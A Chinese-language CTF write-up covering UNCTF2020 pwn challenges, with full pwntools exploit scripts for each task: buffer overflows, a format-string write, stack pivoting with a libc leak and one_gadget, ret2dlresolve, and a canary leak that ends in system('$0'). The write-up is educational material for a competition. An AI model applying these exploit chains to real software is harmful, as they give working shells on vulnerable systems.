UNCTF2020 Pwn WriteUp

UNCTF2020 Pwn Writeup

队伍:打CTF不靠实力靠运气

作者:wjhwjhn

YLBNB

nc 45.158.33.12 8000,连接上后发现要求用pwntools

/images/4bac90eb3a755a1c548e5219e919a237.png

于是就用pwntools进行连接,然后就发现了flag

from pwn import *
r = remote("45.158.33.12", 8000)
print r.recvline()
print r.recvline()
print r.recvline()
print r.recvline()
print r.recvline()

/images/93883e38c7e8f01ebaa5c3502c5ab93c.png

Fan

所有题目中“真”简单的题目

/images/19d6dfa29ab698f4f9df53684047067f.png

IDA分析可得到read函数中发生了栈溢出。

/images/7b14e1714b55c2a112a0484f2da1d2e7.png

又发现了fantasy函数,该函数可以直接获得shell。

exp:

from pwn import 
r = remote("node2.hackingfor.fun", 32326)
r.sendlineafter("input your message", 'a' * 0x30 + 'b' * 0x8 + p64(0x400735))
r.interactive()

/images/18158141c29aa0acbacfe4af51d6eb07.png

do_you_like_me?

和上一题一模一样,只需要改一个偏移,不再赘述

你真的会pwn嘛?

格式化字符串漏洞,利用printf函数来写入

/images/6612dd715b23fef45eaa48f1f5c582fa.png

dword_60107C即可。但是这道题目的60107C的地址过短,如果放在最前面会被00截断。所以这道题目我是把地址放在了%10$n的后面,成功利用。

1
2
3
4
from pwn import *
r = remote("node2.hackingfor.fun", 33292)
r.sendlineafter("Give me your input : ", '111%11\$n' + p64(0x60107C))
r.interactive()

/images/e20acc83e359b118ee8df47593e403b0.png

keer’s bug

这道题的难点就在于,溢出的堆栈只有0x20个字节,也就是如果不算上rbp,在64位下能够构造的ROP只有0x12个字节。这在于x64下是远远不够的,所以想到堆栈转移。

看一下Checksec

/images/e9a7d9efecd7812c2b0252c139337b1f.png

Exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = remote("node2.hackingfor.fun", 30615)
#r = process(r"./keer's_bug")
elf = ELF(r"./keer's_bug")
new_addr = 0x601088
use_addr = 0x4005ED
pop_rdi_addr = 0x400673
pop_rsi_r15_addr = 0x400671
leave_ret_addr = 0x40060d
main_addr = 0x4005B6
#gdb.attach(r)
payload1 = 'a' * 0x50 + p64(new_addr + 0x50) + p64(use_addr)
r.sendlineafter("\n",payload1)
payload2 = p64(new_addr) + p64(pop_rdi_addr) + p64(1) + \
            p64(pop_rsi_r15_addr) + p64(elf.got['write']) + p64(0) + p64(elf.plt['write']) + \
           p64(main_addr) + 'a' * 16 + \
           p64(new_addr) + p64(leave_ret_addr)
r.sendline(payload2)
data = r.recv(6).ljust(8, "\x00")
write_addr = u64(data)
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget = libc_base + one[3]
payload3 = 'a' * 0x50 + 'b' * 0x8 + p64(one_gadget)
r.sendlineafter("\n",payload3)
r.interactive()

Data块(payload2)的分布

位置数据内容
0x70New_rbp垃圾数据
0x680x0000000000400673 : pop rdi ; ret
0x60p64(1) //fd
0x580x0000000000400671 : pop rsi ; pop r15 ; ret
0x50got[“write”] //给rsi的写入地址数据 // 读取到write的got地址,Libc识别
0x48p64(0) //给r15的垃圾数据
0x40plt[“write”]
0x38p64(main)
0x30垃圾数据
0x28垃圾数据
0x20ebp (addr) 堆栈转移的地址
0x18leave_retn的地址
0x10垃圾数据
0x08垃圾数据
0x00垃圾数据

程序流程

  1. 写入payload1

  2. 栈溢出

  3. leave的时候把溢出的第一个值给到了rbp

  4. ret,到重用代码块

  5. 重用代码块对rbp – 0x50(data + 0x00)的地方写入0x70长度

  6. 写入payload2

  7. leave的时候把rsp变成了rbp,堆栈成功转移到rbp – 0x50的地方

  8. pop出rbp – 0x50(data + 0x20)地方的的ebp的值

  9. 再次执行leave,把esp变到了(data + 0x70)的地方

  10. pop rbp,把data + 0x70地方的数据取出,也就是new_rbp,这一块我们之后用不到,所以叫做垃圾数据

  11. pop rdi ; ret,rdi = p64(1),让之前read的fd = 0改为1

  12. pop rsi ; pop r15 ; ret,不是我不想,是真的搜不到 pop rsi ; ret

  13. rsi = got[“write”] r15 = p64(0) 垃圾数据

  14. 进入plt[“write”],leak got[“write”]

  15. 返回到main

  16. 写入payload3

  17. 栈溢出到one_gadget

重用代码段 /images/44bb07c324b642f9eba1ea98cdfad53e.png

2021-01-05补充 这道题目也可以利用栈迁移 + ret2_dlresolve来做,但是本地能打通,远程确打不通。 结合当时比赛时有人提问来看,应该是远程配置存在一定的问题,故这里只放一下exp。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from roputils import *
context.log_level = "debug"
r = process('./keer')
#r = remote('node2.hackingfor.fun', 34698)
rop = ROP_X86_64('./keer')
bss_addr = rop.section('.bss')
pop_rdi_addr = 0x400673
pop_rsi_r15_addr = 0x400671


pivot_addr = bss_addr + 0x400
log.success("pivot_addr: " + hex(pivot_addr))
log.success("bss_addr: " + hex(bss_addr))
buf = rop.fill(0x50) + p64(pivot_addr + 0x50) + p64(0x4005ED)
#gdb.attach(r, "b *0x4005ED")
r.sendafter("Come on!! You can ri keer!!!\n", buf.ljust(0x70, '\x00'))

dl_buf = rop.string('/bin/sh')
dl_buf += rop.fill(0x10, dl_buf)
dl_buf += rop.dl_resolve_data(bss_addr + 0x210, 'system')

payload = p64(pop_rsi_r15_addr) + p64(pivot_addr + 0x100) + p64(0) + p64(rop.plt('read'))
payload += rop.pivot(pivot_addr + 0x100)
payload = payload.ljust(0x50, '\x00') + 'b' * 0x8 + rop.pivot(pivot_addr)

payload2 = p64(pop_rsi_r15_addr) + p64(pivot_addr + 0x200) + p64(0) + p64(rop.plt('read'))
payload2 += p64(pop_rsi_r15_addr) + p64(pivot_addr + 0x300) + p64(0) + p64(rop.plt('read'))
payload2 += rop.pivot(pivot_addr + 0x200)

r.send(payload.ljust(0x70, '\x00'))
r.send(payload2.ljust(0x70, '\x00'))

payload3 = p64(pop_rsi_r15_addr) + p64(rop.got() + 8) + p64(0) + p64(pop_rdi_addr) + p64(1) + p64(rop.plt('write'))
payload3 += rop.pivot(pivot_addr + 0x300)

payload4 = p64(pop_rdi_addr) + p64(0)
payload4 += p64(pop_rsi_r15_addr) + p64(pivot_addr + 0x400) + p64(0) + p64(rop.plt('read'))
payload4 += rop.pivot(pivot_addr + 0x400)

r.send(payload3.ljust(0x70, '\x00'))
r.send(payload4.ljust(0x70, '\x00'))

link_map_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("link_map_addr: " + hex(link_map_addr))

payload5 = p64(pop_rsi_r15_addr) + p64(link_map_addr + 0x1C8) + p64(0) + p64(rop.plt('read'))
payload5 += p64(pop_rsi_r15_addr) + p64(bss_addr + 0x200) + p64(0) + p64(rop.plt('read'))
payload5 += p64(pop_rdi_addr) + p64(bss_addr + 0x200) + rop.dl_resolve_call(bss_addr + 0x210)

r.send(payload5.ljust(0x70, '\x00'))
r.send(p64(0))
r.send(dl_buf.ljust(0x70, '\x00'))


r.interactive()

pwngirl

比赛的时候没做出来,今天做出来了。 没想到居然用"+“或者”-“就可以让scanf不读入数据,比赛的时候不知道,就没做出来,下次会做了!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
#context.log_level = "debug"
r = process('./pwn')
#r = remote('node2.hackingfor.fun', 34574)

def to_data(x):
    num = int("0x" + x,16)
    if num > 0x7FFFFFFFFFFFFFFF:
        return str(-((num ^ 0xFFFFFFFFFFFFFFFF) + 1))
    else:
        return str(num)

def to_newhex(x):
    return hex(x)[2:].rjust(16, "0")

r.sendlineafter("[Y/N/@]", "@")
r.sendlineafter("question2:", "^")
r.sendafter("name:", "wjh")
r.sendlineafter("have?", "12")
for i in range(10):
    r.sendlineafter("girlfriends:", "-1")
#gdb.attach(r)
r.sendlineafter("girlfriends:", "-")
r.sendlineafter("girlfriends:", "-")
r.recvuntil("result:")
recvdata = r.recvuntil("you can change your girlfriend")
number = recvdata.split("  ")[:-1]
for i in number:
    n = int(i)
    if i[0:1] == '-':
        n = n & 0xFFFFFFFF
    n16 = hex(n)[2:]
    mag = n16[0:3]
    if mag == "fff":
        continue
    if n16[-2:] == "00":
        last = n16
    else:
        first = n16
canary = int(first + last, 16)
r.sendline("0")
r.sendlineafter("which girlfriend do you want to change?", "27")
for i in range(10):
    r.sendlineafter("now change:", "-")
shell_addr = 0x400C04
print to_newhex(canary)
r.sendlineafter("now change:", to_data(to_newhex(canary))) #all_canary
r.sendlineafter("now change:", to_data(to_newhex(canary)[0:8] * 2)) #rbp_right & canary_left
r.sendlineafter("now change:", "0") #all_rbp
r.sendlineafter("now change:", "0") #retn_right & rbp_left
r.sendlineafter("now change:", to_data(to_newhex(shell_addr))) #all_retn
r.sendlineafter("now change:", to_data(to_newhex(shell_addr)[0:8] * 2)) #unknown_right & retn_left
for i in range(11):
    r.sendlineafter("now change:", "-")
r.interactive()

原神

比赛的时候没做出来,主要有以下几点原因。

  1. 刚开始认为close(1),是直接退出程序的意思,后面发现不是的时候已经来不及了。
  2. 就算是关闭stdout,我也不知道这种输出方法 ls >&2,可以把stdout的内容输出到stderr
  3. 被babyheap打击到了信息,刚开始几道pwn题除了签到都有点难。
  4. 以上原因全部划掉,就是因为菜。

这道题的几个知识点

  1. 利用int计数器来构造字符串
  2. 这道题用的是system("$0”),我在这之前只知道 system(“sh”) 或者 system("/bin/sh")
  3. 利用 >&2 来输出内容
  4. 这道题目记得后面再开log_level,否则输出时间过长。
  5. 开头用: # -*- coding: utf-8 -*-,可以识别中文 其他好像就没什么难点了。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
from pwn import *

r = process('./GenshinSimulator')
#r = remote("219.152.60.100", 54232)
elf = ELF('./GenshinSimulator')

def draw(x):
    cnt = 0
    r.sendlineafter("请选择:[1]单抽 [2]十连 [3]结束抽卡", "2" if x == 10 else "1")
    r.recvuntil("抽卡结果如下:\n")
    for i in range(x):
        data = r.recvline()
        if not "★★★★★" in data:
            if not "★★★★" in data:
                if "★★★" in data:
                    cnt += 1
    return cnt
threeStar = 0
while True:
    threeStar += draw(10)
    if threeStar >= 0x3024 - 10:
        break
while True:
    threeStar += draw(1)
    if threeStar == 0x3024:
        break
#gdb.attach(r)
pop_rdi_addr = 0x0000000000400d13
three_star_addr = 0x0000000000602314
context.log_level = "debug"
r.sendlineafter("请选择:[1]单抽 [2]十连 [3]结束抽卡", "3")
print r.recvline()
r.sendlineafter("请选择:[1]向好友炫耀 [2]退出\n", "1")
payload = 'a' * 0x30 + 'b' * 0x8 + p64(pop_rdi_addr) + p64(three_star_addr) + p64(elf.plt['system'])
r.sendlineafter("请输入你的名字:", payload)
r.interactive()
0%